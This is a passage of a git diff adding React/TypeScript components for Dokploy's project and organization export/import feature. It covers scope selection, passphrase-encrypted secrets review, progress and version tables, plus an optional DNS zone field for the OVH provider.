</TooltipContent>
|
||||
</Tooltip>
|
||||
);
|
||||
|
||||
const HelpLabel = ({
|
||||
width,
|
||||
tooltip,
|
||||
children,
|
||||
}: {
|
||||
width: number;
|
||||
tooltip: string;
|
||||
children: ReactNode;
|
||||
}) => (
|
||||
<div className="flex items-center gap-1" style={{ width }}>
|
||||
<Label className="text-xs text-muted-foreground">{children}</Label>
|
||||
<InfoTooltip tooltip={tooltip} />
|
||||
</div>
|
||||
);
|
||||
|
||||
export type ScopeFormState = {
|
||||
environmentIds: string[];
|
||||
serviceIds: string[];
|
||||
includeEnvSecrets: boolean;
|
||||
shared: Partial<Record<SharedResourceKind, "value" | "reference">>;
|
||||
files: {
|
||||
applicationSources: boolean;
|
||||
composeFiles: boolean;
|
||||
traefikRaw: boolean;
|
||||
customCertificates: boolean;
|
||||
};
|
||||
dumps: { mode: "embed" | "referenceLastBackup" | "none" };
|
||||
};
|
||||
|
||||
export const allServiceIdsOf = (env: ProjectEnvironment): string[] =>
|
||||
SERVICE_KIND_FIELDS.flatMap(({ key, idField }) =>
|
||||
(env[key] as Record<string, unknown>[]).map(
|
||||
(service) => service[idField] as string,
|
||||
),
|
||||
);
|
||||
|
||||
const sortedServicesOf = (env: ProjectEnvironment) =>
|
||||
SERVICE_KIND_FIELDS.flatMap(({ key, idField }) =>
|
||||
(env[key] as Record<string, unknown>[]).map((service) => ({
|
||||
id: service[idField] as string,
|
||||
name: (service.name as string) || (service[idField] as string),
|
||||
kind: key,
|
||||
stopped: (service.applicationStatus ?? service.composeStatus) === "idle",
|
||||
})),
|
||||
).sort((a, b) => a.name.localeCompare(b.name));
|
||||
|
||||
export const hasDropSourceInScope = (
|
||||
environments: ProjectEnvironment[],
|
||||
serviceIds: string[],
|
||||
): boolean =>
|
||||
environments.some((env) =>
|
||||
env.applications.some(
|
||||
(app) =>
|
||||
app.sourceType === "drop" && serviceIds.includes(app.applicationId),
|
||||
),
|
||||
);
|
||||
|
||||
export const defaultScopeFormState = (
|
||||
environments: ProjectEnvironment[],
|
||||
): ScopeFormState => ({
|
||||
environmentIds: environments.map((env) => env.environmentId),
|
||||
serviceIds: environments.flatMap(allServiceIdsOf),
|
||||
includeEnvSecrets: true,
|
||||
shared: {
|
||||
destination: "value",
|
||||
registry: "value",
|
||||
sshKey: "value",
|
||||
network: "value",
|
||||
certificate: "value",
|
||||
dnsProvider: "value",
|
||||
vaultProvider: "reference",
|
||||
},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
});
|
||||
|
||||
interface ScopeFormProps {
|
||||
section: "selection" | "options";
|
||||
environments: ProjectEnvironment[];
|
||||
value: ScopeFormState;
|
||||
onChange: (next: ScopeFormState) => void;
|
||||
}
|
||||
|
||||
export const ScopeForm = ({
|
||||
section,
|
||||
environments,
|
||||
value,
|
||||
onChange,
|
||||
}: ScopeFormProps) => {
|
||||
if (section === "selection") {
|
||||
return (
|
||||
<div className="space-y-4 max-h-[50vh] overflow-y-auto">
|
||||
{environments.map((env) => {
|
||||
const envServiceIds = allServiceIdsOf(env);
|
||||
const envChecked = value.environmentIds.includes(env.environmentId);
|
||||
return (
|
||||
<div
|
||||
key={env.environmentId}
|
||||
className="rounded-md border p-3 space-y-2"
|
||||
>
|
||||
<div className="flex items-start gap-2">
|
||||
<Checkbox
|
||||
className="mt-0.5"
|
||||
checked={envChecked}
|
||||
onCheckedChange={(checked) => {
|
||||
const isChecked = checked === true;
|
||||
onChange({
|
||||
...value,
|
||||
environmentIds: isChecked
|
||||
? [...value.environmentIds, env.environmentId]
|
||||
: value.environmentIds.filter(
|
||||
(id) => id !== env.environmentId,
|
||||
),
|
||||
serviceIds: isChecked
|
||||
? Array.from(
|
||||
new Set([...value.serviceIds, ...envServiceIds]),
|
||||
)
|
||||
: value.serviceIds.filter(
|
||||
(id) => !envServiceIds.includes(id),
|
||||
),
|
||||
});
|
||||
}}
|
||||
/>
|
||||
<span className="font-medium">{env.name}</span>
|
||||
<span className="text-xs text-muted-foreground">
|
||||
({envServiceIds.length} service
|
||||
{envServiceIds.length === 1 ? "" : "s"})
|
||||
</span>
|
||||
</div>
|
||||
{envChecked && (
|
||||
<div className="ml-6 space-y-1">
|
||||
{sortedServicesOf(env).map(({ id, name, kind, stopped }) => {
|
||||
const checked = value.serviceIds.includes(id);
|
||||
return (
|
||||
<div key={id} className="flex items-start gap-2">
|
||||
<Checkbox
|
||||
className="mt-0.5"
|
||||
checked={checked}
|
||||
onCheckedChange={(next) => {
|
||||
const isChecked = next === true;
|
||||
onChange({
|
||||
...value,
|
||||
serviceIds: isChecked
|
||||
? [...value.serviceIds, id]
|
||||
: value.serviceIds.filter(
|
||||
(existing) => existing !== id,
|
||||
),
|
||||
});
|
||||
}}
|
||||
/>
|
||||
<span className="text-sm">{name}</span>
|
||||
<span className="text-xs text-muted-foreground">
|
||||
({kind}
|
||||
{stopped ? ", stopped" : ""})
|
||||
</span>
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const dropForced = hasDropSourceInScope(environments, value.serviceIds);
|
||||
|
||||
return (
|
||||
<div className="space-y-6">
|
||||
<div className="flex items-start gap-2">
|
||||
<Checkbox
|
||||
className="mt-0.5"
|
||||
checked={value.includeEnvSecrets}
|
||||
onCheckedChange={(checked) =>
|
||||
onChange({ ...value, includeEnvSecrets: checked === true })
|
||||
}
|
||||
/>
|
||||
<Label>
|
||||
Include environment variable values (encrypted with the passphrase)
|
||||
</Label>
|
||||
</div>
|
||||
|
||||
<div className="space-y-2">
|
||||
<Label>Shared resources</Label>
|
||||
<div className="space-y-1">
|
||||
<div className="grid grid-cols-[minmax(0,1fr)_auto] items-center gap-2 px-1">
|
||||
<span />
|
||||
<div className="flex gap-4">
|
||||
<HelpLabel width={76} tooltip={SHARED_MODE_TOOLTIPS.value}>
|
||||
Value
|
||||
</HelpLabel>
|
||||
<HelpLabel width={90} tooltip={SHARED_MODE_TOOLTIPS.reference}>
|
||||
Reference
|
||||
</HelpLabel>
|
||||
</div>
|
||||
</div>
|
||||
{SHARED_KINDS.map((kind) => (
|
||||
<div
|
||||
key={kind}
|
||||
className="grid grid-cols-[minmax(0,1fr)_auto] items-center gap-2 rounded-md px-1 py-1"
|
||||
>
|
||||
<span className="text-sm">{SHARED_KIND_LABELS[kind]}</span>
|
||||
<RadioGroup
|
||||
value={value.shared[kind] ?? "reference"}
|
||||
onValueChange={(next) =>
|
||||
onChange({
|
||||
...value,
|
||||
shared: {
|
||||
...value.shared,
|
||||
[kind]: next as "value" | "reference",
|
||||
},
|
||||
})
|
||||
}
|
||||
className="flex gap-4"
|
||||
>
|
||||
<div className="flex w-[76px] items-center">
|
||||
<RadioGroupItem
|
||||
value="value"
|
||||
id={`${kind}-value`}
|
||||
aria-label={`${SHARED_KIND_LABELS[kind]}: ${SHARED_MODE_TOOLTIPS.value}`}
|
||||
/>
|
||||
</div>
|
||||
<div className="flex w-[90px] items-center">
|
||||
<RadioGroupItem
|
||||
value="reference"
|
||||
id={`${kind}-reference`}
|
||||
aria-label={`${SHARED_KIND_LABELS[kind]}: ${SHARED_MODE_TOOLTIPS.reference}`}
|
||||
/>
|
||||
</div>
|
||||
</RadioGroup>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="space-y-2">
|
||||
<Label>Files</Label>
|
||||
{(
|
||||
[
|
||||
["applicationSources", "Application sources"],
|
||||
["composeFiles", "Compose files"],
|
||||
["traefikRaw", "Traefik dynamic config"],
|
||||
["customCertificates", "Custom certificates"],
|
||||
] as const
|
||||
).map(([key, label]) => {
|
||||
const forced = key === "applicationSources" && dropForced;
|
||||
return (
|
||||
<div key={key} className="flex items-start gap-2">
|
||||
<Checkbox
|
||||
className="mt-0.5"
|
||||
checked={forced || value.files[key]}
|
||||
disabled={forced}
|
||||
onCheckedChange={(checked) =>
|
||||
onChange({
|
||||
...value,
|
||||
files: { ...value.files, [key]: checked === true },
|
||||
})
|
||||
}
|
||||
/>
|
||||
<Label className="text-sm">{label}</Label>
|
||||
{forced && (
|
||||
<InfoTooltip tooltip="Required: at least one selected application was uploaded as a zip (drop source), so its code only exists in these files." />
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
|
||||
<div className="space-y-2">
|
||||
<Label>Database dumps</Label>
|
||||
<RadioGroup
|
||||
value={value.dumps.mode}
|
||||
onValueChange={(next) =>
|
||||
onChange({
|
||||
...value,
|
||||
dumps: { mode: next as ScopeFormState["dumps"]["mode"] },
|
||||
})
|
||||
}
|
||||
className="space-y-1"
|
||||
>
|
||||
{DUMP_MODES.map(([mode, label]) => (
|
||||
<div key={mode} className="flex items-center gap-2">
|
||||
<RadioGroupItem value={mode} id={`dumps-${mode}`} />
|
||||
<Label htmlFor={`dumps-${mode}`} className="text-sm">
|
||||
{label}
|
||||
</Label>
|
||||
<InfoTooltip tooltip={DUMP_MODE_TOOLTIPS[mode]} />
|
||||
</div>
|
||||
))}
|
||||
</RadioGroup>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
@@ -0,0 +1,124 @@
|
||||
import { Eye, RefreshCcw } from "lucide-react";
|
||||
import { useState } from "react";
|
||||
import { toast } from "sonner";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Input } from "@/components/ui/input";
|
||||
import { generateRandomPassword } from "@/lib/password-utils";
|
||||
import { api } from "@/utils/api";
|
||||
import { CollapsibleSection } from "./collapsible-section";
|
||||
|
||||
const KIND_LABELS = {
|
||||
basicAuth: "Basic auth",
|
||||
registry: "Registry",
|
||||
destination: "Destination",
|
||||
sshKey: "SSH key",
|
||||
certificate: "Certificate",
|
||||
} as const;
|
||||
|
||||
interface SecretsReviewProps {
|
||||
importId: string;
|
||||
overrides: Record<string, string>;
|
||||
onChange: (secretId: string, value: string | undefined) => void;
|
||||
}
|
||||
|
||||
export const SecretsReview = ({
|
||||
importId,
|
||||
overrides,
|
||||
onChange,
|
||||
}: SecretsReviewProps) => {
|
||||
const [revealed, setRevealed] = useState<Record<string, string>>({});
|
||||
const { data: secrets } = api.projectExportImport.importSecrets.useQuery({
|
||||
importId,
|
||||
});
|
||||
const { mutateAsync: reveal } =
|
||||
api.projectExportImport.importSecretReveal.useMutation({
|
||||
onError: (error) => toast.error(error.message),
|
||||
});
|
||||
|
||||
if (!secrets || secrets.length === 0) return null;
|
||||
|
||||
const handleReveal = async (secretId: string) => {
|
||||
try {
|
||||
const { value } = await reveal({ importId, secretId });
|
||||
setRevealed((prev) => ({ ...prev, [secretId]: value }));
|
||||
} catch {}
|
||||
};
|
||||
|
||||
return (
|
||||
<CollapsibleSection
|
||||
className="border-t pt-4"
|
||||
title={`Review secrets (${secrets.length})`}
|
||||
>
|
||||
<p className="text-xs text-muted-foreground">
|
||||
These credentials belong to systems outside Dokploy and are imported as
|
||||
they were exported. Reveal one to check it, or replace it before
|
||||
importing.
|
||||
</p>
|
||||
{secrets.map((secret) => {
|
||||
const override = overrides[secret.secretId];
|
||||
return (
|
||||
<div
|
||||
key={secret.secretId}
|
||||
className="grid gap-2 rounded-md border p-2 text-xs sm:grid-cols-[minmax(0,1fr)_minmax(0,1fr)_auto] sm:items-center"
|
||||
>
|
||||
<div className="min-w-0">
|
||||
<span className="text-muted-foreground">
|
||||
{KIND_LABELS[secret.kind]}{" "}
|
||||
</span>
|
||||
<span className="font-medium">{secret.resource}</span>
|
||||
<span className="text-muted-foreground"> · {secret.field}</span>
|
||||
</div>
|
||||
<Input
|
||||
className="h-8 font-mono text-xs"
|
||||
type={
|
||||
override !== undefined || revealed[secret.secretId]
|
||||
? "text"
|
||||
: "password"
|
||||
}
|
||||
value={override ?? revealed[secret.secretId] ?? ""}
|
||||
placeholder="••••••••••••"
|
||||
onChange={(e) => onChange(secret.secretId, e.target.value)}
|
||||
/>
|
||||
<div className="flex gap-1">
|
||||
<Button
|
||||
type="button"
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
className="h-8 px-2"
|
||||
onClick={() => handleReveal(secret.secretId)}
|
||||
title="Reveal"
|
||||
>
|
||||
<Eye className="h-3.5 w-3.5" />
|
||||
</Button>
|
||||
{secret.generatable && (
|
||||
<Button
|
||||
type="button"
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
className="h-8 px-2"
|
||||
onClick={() =>
|
||||
onChange(secret.secretId, generateRandomPassword(20))
|
||||
}
|
||||
title="Generate a new value"
|
||||
>
|
||||
<RefreshCcw className="h-3.5 w-3.5" />
|
||||
</Button>
|
||||
)}
|
||||
{override !== undefined && (
|
||||
<Button
|
||||
type="button"
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
className="h-8 px-2"
|
||||
onClick={() => onChange(secret.secretId, undefined)}
|
||||
>
|
||||
Reset
|
||||
</Button>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
</CollapsibleSection>
|
||||
);
|
||||
};
|
||||
@@ -0,0 +1,24 @@
|
||||
import { Progress } from "@/components/ui/progress";
|
||||
|
||||
interface TransferProgressProps {
|
||||
verb: "Export" | "Import";
|
||||
job?: { status: string; message?: string; error?: string };
|
||||
failed: boolean;
|
||||
done: boolean;
|
||||
}
|
||||
|
||||
export const TransferProgress = ({
|
||||
verb,
|
||||
job,
|
||||
failed,
|
||||
done,
|
||||
}: TransferProgressProps) => (
|
||||
<div className="space-y-2">
|
||||
<Progress value={done || failed ? 100 : job ? 60 : 20} />
|
||||
<p className="text-sm text-muted-foreground">
|
||||
{failed
|
||||
? `${verb} failed: ${job?.error}`
|
||||
: (job?.message ?? `Starting ${verb.toLowerCase()}...`)}
|
||||
</p>
|
||||
</div>
|
||||
);
|
||||
@@ -0,0 +1,64 @@
|
||||
type SourceVersions = {
|
||||
dokployVersion: string;
|
||||
releaseTag?: string;
|
||||
isCloud?: boolean;
|
||||
traefikVersion?: string;
|
||||
dockerVersions?: Record<string, string>;
|
||||
};
|
||||
|
||||
type DestinationVersions = {
|
||||
dokployVersion: string;
|
||||
releaseTag: string;
|
||||
isCloud: boolean;
|
||||
traefikVersion: string;
|
||||
};
|
||||
|
||||
const kindLabel = (isCloud: boolean | undefined) =>
|
||||
isCloud === undefined ? "unknown" : isCloud ? "Dokploy Cloud" : "Self-hosted";
|
||||
|
||||
const dockerLabel = (versions: Record<string, string> | undefined) => {
|
||||
if (!versions) return "unknown";
|
||||
const distinct = [...new Set(Object.values(versions))];
|
||||
return distinct.length > 0 ? distinct.join(", ") : "unknown";
|
||||
};
|
||||
|
||||
export const VersionsTable = ({
|
||||
versions,
|
||||
}: {
|
||||
versions: { source: SourceVersions; destination: DestinationVersions };
|
||||
}) => {
|
||||
const { source, destination } = versions;
|
||||
const rows: [string, string, string][] = [
|
||||
["Dokploy", source.dokployVersion, destination.dokployVersion],
|
||||
["Release tag", source.releaseTag ?? "unknown", destination.releaseTag],
|
||||
["Instance", kindLabel(source.isCloud), kindLabel(destination.isCloud)],
|
||||
["Traefik", source.traefikVersion ?? "unknown", destination.traefikVersion],
|
||||
["Docker (source servers)", dockerLabel(source.dockerVersions), "n/a"],
|
||||
];
|
||||
return (
|
||||
<div className="rounded-md border">
|
||||
<table className="w-full text-xs">
|
||||
<thead className="text-muted-foreground">
|
||||
<tr className="border-b">
|
||||
<th className="px-2 py-1 text-left font-medium" />
|
||||
<th className="px-2 py-1 text-left font-medium">Bundle source</th>
|
||||
<th className="px-2 py-1 text-left font-medium">This instance</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{rows.map(([label, from, to]) => (
|
||||
<tr key={label} className="border-b last:border-0">
|
||||
<td className="px-2 py-1 text-muted-foreground">{label}</td>
|
||||
<td className="px-2 py-1 font-mono">{from}</td>
|
||||
<td
|
||||
className={`px-2 py-1 font-mono ${to !== "n/a" && from !== to ? "text-yellow-600 dark:text-yellow-400" : ""}`}
|
||||
>
|
||||
{to}
|
||||
</td>
|
||||
</tr>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
@@ -53,6 +53,8 @@ import {
|
||||
} from "@/components/ui/select";
|
||||
import { api } from "@/utils/api";
|
||||
import { useDebounce } from "@/utils/hooks/use-debounce";
|
||||
import { ExportProject } from "../project/export-import/export-wizard";
|
||||
import { ImportProject } from "../project/export-import/import-project";
|
||||
import { HandleProject } from "./handle-project";
|
||||
import { ProjectEnvironment } from "./project-environment";
|
||||
|
||||
@@ -217,7 +219,8 @@ export const ShowProjects = () => {
|
||||
</CardDescription>
|
||||
</CardHeader>
|
||||
{permissions?.project.create && (
|
||||
<div className="">
|
||||
<div className="flex gap-2">
|
||||
<ImportProject />
|
||||
<HandleProject />
|
||||
</div>
|
||||
)}
|
||||
@@ -237,6 +240,7 @@ export const ShowProjects = () => {
|
||||
placeholder="Filter projects..."
|
||||
value={searchQuery}
|
||||
onChange={(e) => setSearchQuery(e.target.value)}
|
||||
autoComplete="off"
|
||||
className="pr-10"
|
||||
/>
|
||||
|
||||
@@ -414,6 +418,14 @@ export const ShowProjects = () => {
|
||||
projectId={project.projectId}
|
||||
/>
|
||||
</div>
|
||||
<div
|
||||
onClick={(e) => e.stopPropagation()}
|
||||
>
|
||||
<ExportProject
|
||||
projectId={project.projectId}
|
||||
environments={project.environments}
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div
|
||||
onClick={(e) => e.stopPropagation()}
|
||||
|
||||
@@ -88,6 +88,7 @@ const DnsProviderSchema = z.object({
|
||||
applicationKey: z.string(),
|
||||
applicationSecret: z.string(),
|
||||
consumerKey: z.string(),
|
||||
zone: z.string(),
|
||||
});
|
||||
|
||||
type DnsProviderForm = z.infer<typeof DnsProviderSchema>;
|
||||
@@ -104,6 +105,7 @@ const defaultValues: DnsProviderForm = {
|
||||
applicationKey: "",
|
||||
applicationSecret: "",
|
||||
consumerKey: "",
|
||||
zone: "",
|
||||
};
|
||||
|
||||
const buildConfig = (data: DnsProviderForm) => {
|
||||
@@ -137,6 +139,7 @@ const buildConfig = (data: DnsProviderForm) => {
|
||||
applicationKey: data.applicationKey,
|
||||
applicationSecret: data.applicationSecret,
|
||||
consumerKey: data.consumerKey,
|
||||
zone: data.zone.trim() || undefined,
|
||||
};
|
||||
}
|
||||
};
|
||||
@@ -207,6 +210,7 @@ export const HandleDnsProvider = ({ dnsProviderId }: Props) => {
|
||||
applicationKey: provider.config.applicationKey,
|
||||
applicationSecret: provider.config.applicationSecret,
|
||||
consumerKey: provider.config.consumerKey,
|
||||
zone: provider.config.zone ?? "",
|
||||
}),
|
||||
});
|
||||
} else if (!dnsProviderId) {
|
||||
@@ -545,6 +549,27 @@ export const HandleDnsProvider = ({ dnsProviderId }: Props) => {
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="zone"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Zone (optional)</FormLabel>
|
||||
<FormControl>
|
||||
<Input placeholder="example.com" {...field} />
|
||||
</FormControl>
|
||||
<FormDescription>
|
||||
Restrict this provider to a single DNS zone: Dokploy
|
||||
will only list and change records in it. Leave empty to
|
||||
use every zone the credentials can access. When set, the{" "}
|
||||
<code>GET /domain/zone</code> right is not needed. This
|
||||
is enforced by Dokploy only, so also limit the OVH token
|
||||
to that zone if you need a hard guarantee.
|
||||
</FormDescription>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
</>
|
||||
)}
|
||||
|
||||
|
||||
@@ -0,0 +1,512 @@
|
||||
import { Download, KeyRound, Package, Trash2, UploadCloud } from "lucide-react";
|
||||
import { useState } from "react";
|
||||
import { toast } from "sonner";
|
||||
import { formatBytes } from "@/components/dashboard/database/backups/restore-backup";
|
||||
import {
|
||||
BundleListState,
|
||||
BundleMeta,
|
||||
DestinationSelect,
|
||||
} from "@/components/dashboard/project/export-import/destination-select";
|
||||
import { ExportWizard } from "@/components/dashboard/project/export-import/export-wizard";
|
||||
import { ImportProject } from "@/components/dashboard/project/export-import/import-project";
|
||||
import {
|
||||
isPassphraseValid,
|
||||
MIN_PASSPHRASE_LENGTH,
|
||||
PassphraseField,
|
||||
PassphraseFields,
|
||||
} from "@/components/dashboard/project/export-import/passphrase-fields";
|
||||
import { allServiceIdsOf } from "@/components/dashboard/project/export-import/scope-form";
|
||||
import { AlertBlock } from "@/components/shared/alert-block";
|
||||
import { DialogAction } from "@/components/shared/dialog-action";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Card,
|
||||
CardContent,
|
||||
CardDescription,
|
||||
CardHeader,
|
||||
CardTitle,
|
||||
} from "@/components/ui/card";
|
||||
import { Checkbox } from "@/components/ui/checkbox";
|
||||
import {
|
||||
Dialog,
|
||||
DialogContent,
|
||||
DialogDescription,
|
||||
DialogFooter,
|
||||
DialogHeader,
|
||||
DialogTitle,
|
||||
DialogTrigger,
|
||||
} from "@/components/ui/dialog";
|
||||
import { Label } from "@/components/ui/label";
|
||||
import {
|
||||
Select,
|
||||
SelectContent,
|
||||
SelectItem,
|
||||
SelectTrigger,
|
||||
SelectValue,
|
||||
} from "@/components/ui/select";
|
||||
import { api } from "@/utils/api";
|
||||
|
||||
const ORGANIZATION = "__organization__";
|
||||
|
||||
const OrganizationExport = ({
|
||||
destinationId,
|
||||
onBack,
|
||||
onDone,
|
||||
}: {
|
||||
destinationId: string;
|
||||
onBack: () => void;
|
||||
onDone: () => void;
|
||||
}) => {
|
||||
const [passphrase, setPassphrase] = useState("");
|
||||
const [confirm, setConfirm] = useState("");
|
||||
const [excluded, setExcluded] = useState<Set<string>>(new Set());
|
||||
const [exports, setExports] = useState<
|
||||
{ projectId: string; name: string; exportId: string }[]
|
||||
>([]);
|
||||
const { data: projects } = api.project.all.useQuery();
|
||||
const selectedProjectIds = (projects ?? [])
|
||||
.map((project) => project.projectId)
|
||||
.filter((projectId) => !excluded.has(projectId));
|
||||
const toggleProject = (projectId: string, checked: boolean) =>
|
||||
setExcluded((prev) => {
|
||||
const next = new Set(prev);
|
||||
if (checked) next.delete(projectId);
|
||||
else next.add(projectId);
|
||||
return next;
|
||||
});
|
||||
const { mutateAsync: start, isPending } =
|
||||
api.projectExportImport.exportOrganizationStart.useMutation({
|
||||
onError: (error) => toast.error(error.message),
|
||||
});
|
||||
const status = api.projectExportImport.exportBatchStatus.useQuery(
|
||||
{ exportIds: exports.map((entry) => entry.exportId) },
|
||||
{
|
||||
enabled: exports.length > 0,
|
||||
refetchIntervalInBackground: true,
|
||||
refetchInterval: (query) =>
|
||||
query.state.data?.every(
|
||||
(entry) => entry.status === "done" || entry.status === "error",
|
||||
)
|
||||
? false
|
||||
: 1000,
|
||||
},
|
||||
);
|
||||
const finished =
|
||||
exports.length > 0 &&
|
||||
!!status.data?.every(
|
||||
(entry) => entry.status === "done" || entry.status === "error",
|
||||
);
|
||||
|
||||
const handleStart = async () => {
|
||||
try {
|
||||
const result = await start({
|
||||
destinationId,
|
||||
passphrase,
|
||||
projectIds: selectedProjectIds,
|
||||
});
|
||||
setExports(result.exports);
|
||||
if (result.skipped.length > 0) {
|
||||
toast.warning(
|
||||
`Skipped ${result.skipped.map((entry) => entry.name).join(", ")}`,
|
||||
{ description: result.skipped[0]?.reason },
|
||||
);
|
||||
}
|
||||
} catch {}
|
||||
};
|
||||
|
||||
return (
|
||||
<>
|
||||
<DialogHeader>
|
||||
<DialogTitle>Export organization</DialogTitle>
|
||||
<DialogDescription>
|
||||
{exports.length > 0
|
||||
? `Step 2 of 2: Export (${exports.length} projects)`
|
||||
: "Step 1 of 2: Select projects"}
|
||||
</DialogDescription>
|
||||
</DialogHeader>
|
||||
{exports.length > 0 ? (
|
||||
<div className="space-y-2">
|
||||
{exports.map((entry) => {
|
||||
const state = status.data?.find(
|
||||
(row) => row.exportId === entry.exportId,
|
||||
);
|
||||
return (
|
||||
<div
|
||||
key={entry.exportId}
|
||||
className="flex items-center justify-between gap-3 rounded-md border p-2 text-sm"
|
||||
>
|
||||
<span className="font-medium">{entry.name}</span>
|
||||
<span
|
||||
className={`truncate text-xs ${state?.status === "error" ? "text-destructive" : "text-muted-foreground"}`}
|
||||
>
|
||||
{state?.status === "done"
|
||||
? `Uploaded${state.size ? ` (${formatBytes(state.size)})` : ""}`
|
||||
: state?.status === "error"
|
||||
? state.error
|
||||
: (state?.message ?? "Waiting...")}
|
||||
</span>
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
) : (
|
||||
<div className="space-y-4">
|
||||
<div className="space-y-1">
|
||||
<div className="flex items-center justify-between">
|
||||
<Label className="text-xs">
|
||||
Projects ({selectedProjectIds.length} of {projects?.length ?? 0}
|
||||
)
|
||||
</Label>
|
||||
<Button
|
||||
type="button"
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
className="h-auto px-2 py-1 text-xs"
|
||||
onClick={() =>
|
||||
setExcluded(
|
||||
excluded.size === 0
|
||||
? new Set((projects ?? []).map((p) => p.projectId))
|
||||
: new Set(),
|
||||
)
|
||||
}
|
||||
>
|
||||
{excluded.size === 0 ? "Deselect all" : "Select all"}
|
||||
</Button>
|
||||
</div>
|
||||
<div className="max-h-[220px] space-y-1 overflow-y-auto rounded-md border p-2">
|
||||
{projects?.map((project) => (
|
||||
<label
|
||||
key={project.projectId}
|
||||
htmlFor={`org-export-${project.projectId}`}
|
||||
className="flex cursor-pointer items-center gap-2 rounded px-1 py-0.5 text-sm hover:bg-muted"
|
||||
>
|
||||
<Checkbox
|
||||
id={`org-export-${project.projectId}`}
|
||||
checked={!excluded.has(project.projectId)}
|
||||
onCheckedChange={(checked) =>
|
||||
toggleProject(project.projectId, checked === true)
|
||||
}
|
||||
/>
|
||||
<span>{project.name}</span>
|
||||
<span className="text-xs text-muted-foreground">
|
||||
{project.environments.reduce(
|
||||
(total, env) => total + allServiceIdsOf(env).length,
|
||||
0,
|
||||
)}{" "}
|
||||
services
|
||||
</span>
|
||||
</label>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
<AlertBlock type="info">
|
||||
Each selected project is exported one after another with everything
|
||||
in scope: all environments and services, shared resources, files and
|
||||
database dumps. Each project becomes its own bundle, built on the
|
||||
server where it runs.
|
||||
</AlertBlock>
|
||||
<AlertBlock type="warning">
|
||||
The exported files contain your secrets, encrypted with the
|
||||
passphrase below. You'll need this exact passphrase to import them
|
||||
later; without it, the exports can't be recovered.
|
||||
</AlertBlock>
|
||||
<PassphraseFields
|
||||
value={passphrase}
|
||||
confirm={confirm}
|
||||
onValueChange={setPassphrase}
|
||||
onConfirmChange={setConfirm}
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
<DialogFooter>
|
||||
{exports.length === 0 && (
|
||||
<Button variant="outline" onClick={onBack}>
|
||||
Back
|
||||
</Button>
|
||||
)}
|
||||
{exports.length === 0 && (
|
||||
<Button
|
||||
isLoading={isPending}
|
||||
disabled={
|
||||
!isPassphraseValid(passphrase, confirm) ||
|
||||
selectedProjectIds.length === 0
|
||||
}
|
||||
onClick={handleStart}
|
||||
>
|
||||
Start export
|
||||
</Button>
|
||||
)}
|
||||
{finished && (
|
||||
<Button variant="outline" onClick={onDone}>
|
||||
Close
|
||||
</Button>
|
||||
)}
|
||||
</DialogFooter>
|
||||
</>
|
||||
);
|
||||
};
|
||||
|
||||
const ExportDialogBody = ({
|
||||
destinationId,
|
||||
onClose,
|
||||
}: {
|
||||
destinationId: string;
|
||||
onClose: () => void;
|
||||
}) => {
|
||||
const [target, setTarget] = useState("");
|
||||
const { data: projects } = api.project.all.useQuery();
|
||||
const project = projects?.find((entry) => entry.projectId === target);
|
||||
|
||||
if (project) {
|
||||
return (
|
||||
<ExportWizard
|
||||
title={`Export ${project.name}`}
|
||||
projectId={project.projectId}
|
||||
environments={project.environments}
|
||||
destinationId={destinationId}
|
||||
onClose={onClose}
|
||||
onBackFromStart={() => setTarget("")}
|
||||
/>
|
||||
);
|
||||
}
|
||||
if (target === ORGANIZATION) {
|
||||
return (
|
||||
<OrganizationExport
|
||||
destinationId={destinationId}
|
||||
onBack={() => setTarget("")}
|
||||
onDone={onClose}
|
||||
/>
|
||||
);
|
||||
}
|
||||
return (
|
||||
<>
|
||||
<DialogHeader>
|
||||
<DialogTitle>Export to destination</DialogTitle>
|
||||
<DialogDescription>
|
||||
Pick a project to go through the same steps as a project export, or
|
||||
export the whole organization.
|
||||
</DialogDescription>
|
||||
</DialogHeader>
|
||||
<div className="grid gap-1">
|
||||
<Label className="text-xs">What to export</Label>
|
||||
<Select value={target} onValueChange={setTarget}>
|
||||
<SelectTrigger>
|
||||
<SelectValue placeholder="Select a project or the whole organization" />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
<SelectItem value={ORGANIZATION}>
|
||||
Whole organization ({projects?.length ?? 0} projects)
|
||||
</SelectItem>
|
||||
{projects?.map((entry) => (
|
||||
<SelectItem key={entry.projectId} value={entry.projectId}>
|
||||
{entry.name}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
</div>
|
||||
</>
|
||||
);
|
||||
};
|
||||
|
||||
const CheckPassphrase = ({
|
||||
destinationId,
|
||||
bundleKey,
|
||||
}: {
|
||||
destinationId: string;
|
||||
bundleKey: string;
|
||||
}) => {
|
||||
const [open, setOpen] = useState(false);
|
||||
const [passphrase, setPassphrase] = useState("");
|
||||
const [result, setResult] = useState<string | null>(null);
|
